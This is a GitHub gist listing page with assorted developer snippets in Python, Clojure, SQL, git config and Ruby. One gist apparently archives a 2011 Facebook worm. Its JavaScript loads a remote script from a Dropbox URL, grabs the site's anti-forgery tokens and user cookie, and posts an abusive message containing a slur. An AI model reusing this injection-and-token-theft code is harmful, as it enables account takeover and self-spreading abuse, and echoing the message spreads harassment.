Skip to content

Instantly share code, notes, and snippets.

View maxcountryman's full-sized avatar
🦀

Max Countryman maxcountryman

🦀
View GitHub Profile
@dhrrgn
dhrrgn / forms.py
Last active December 19, 2015 02:49
SeaSurf + Flask-WTF integration
from flask.ext.wtf import DataRequired, TextField, PasswordField, Email
from seasurf_form import SeaSurfForm
class LoginForm(SeaSurfForm):
email = TextField('email', validators=[DataRequired(), Email()])
password = PasswordField('password', validators=[DataRequired()])
@ptaoussanis
ptaoussanis / free-port.clj
Created December 14, 2012 06:28
A little utility to allow simple redeployment of Clojure web servers with zero downtime, and without the need for a proxy or load balancer. Just wrap any port-binding calls, and the utility will auto kill pre-existing servers as necessary. *nix only. Based on the blog post by Feng Shen, http://shenfeng.me/fast-restart-clojure-webapp.html
;; (require '[clojure.string :as str] '[clojure.java.shell :as shell] '[taoensso.timbre :as timbre])
(defn with-free-port!
"Attempts to kill any current port-binding process, then repeatedly executes
nullary `bind-port!-fn` (which must return logical true on successful
binding). Returns the function's result when successful, else throws an
exception. *nix only.
This idea courtesy of Feng Shen, Ref. http://goo.gl/kEolu."
[port bind-port!-fn & {:keys [max-attempts sleep-ms]
@rgreenjr
rgreenjr / postgres_queries_and_commands.sql
Last active May 22, 2024 05:53
Useful PostgreSQL Queries and Commands
-- show running queries (pre 9.2)
SELECT procpid, age(clock_timestamp(), query_start), usename, current_query
FROM pg_stat_activity
WHERE current_query != '<IDLE>' AND current_query NOT ILIKE '%pg_stat_activity%'
ORDER BY query_start desc;
-- show running queries (9.2)
SELECT pid, age(clock_timestamp(), query_start), usename, query
FROM pg_stat_activity
WHERE query != '<IDLE>' AND query NOT ILIKE '%pg_stat_activity%'
@piscisaureus
piscisaureus / pr.md
Created August 13, 2012 16:12
Checkout github pull requests locally

Locate the section for your github remote in the .git/config file. It looks like this:

[remote "origin"]
	fetch = +refs/heads/*:refs/remotes/origin/*
	url = git@github.com:joyent/node.git

Now add the line fetch = +refs/pull/*/head:refs/remotes/origin/pr/* to this section. Obviously, change the github url to match your project's URL. It ends up looking like this:

@tysonmote
tysonmote / facebook_hack.js
Created May 12, 2011 06:48
Nicole Santos Facebook hack
// 5/11/11 Facebook hack -- Started spreading and was quickly taken down by Dropbox (where the file was hosted).
var message = "Fuck you faggot. Go kill yourself. Do whatever the fuck you want. I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
@maxcountryman
maxcountryman / kaa.py
Created November 15, 2010 01:35
A very simple non-blocking IRC bot using gevent
import gevent
from gevent import socket, queue
from gevent.ssl import wrap_socket
import logging
logger = logging.getLogger('irc')
logger.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
@maxcountryman
maxcountryman / caesar.py
Created November 8, 2010 20:58
Extremely simple Caesar cipher
import argparse
parser = argparse.ArgumentParser(description='Shift a string n chars based on step.')
parser.add_argument('--shift', help='shift a string of text')
parser.add_argument('--deshift', help='deshift a string of text')
parser.add_argument('--steps', type=int)
args = parser.parse_args()
steps = args.steps
; Released under the Apache License, Version 2.0
; http://www.apache.org/licenses/LICENSE-2.0.html
(defmacro try-let
"A combination of try and let such that exceptions thrown in the binding or
body can be handled by catch clauses in the body, and all bindings are
available to the catch and finally clauses. If an exception is thrown while
evaluating a binding value, it and all subsequent binding values will be nil.
Example:
@martinus
martinus / e.rb
Created July 24, 2008 17:35
extract any archive
#!/usr/bin/ruby
# The program e is a command line utility that extracts lots of
# different archives. It is very simple and can be extended very easily.
#
# It is inspired by how firewall use their rulesets, and works like this:
#
# * For each file that has to be extracted, the rules are matched one after the other.
# * When a rule matches (either by the filetype or filename), the command is executed.
# * If the command does not return an error code the extraction is considered successful,
# otherwise the next rules are matched.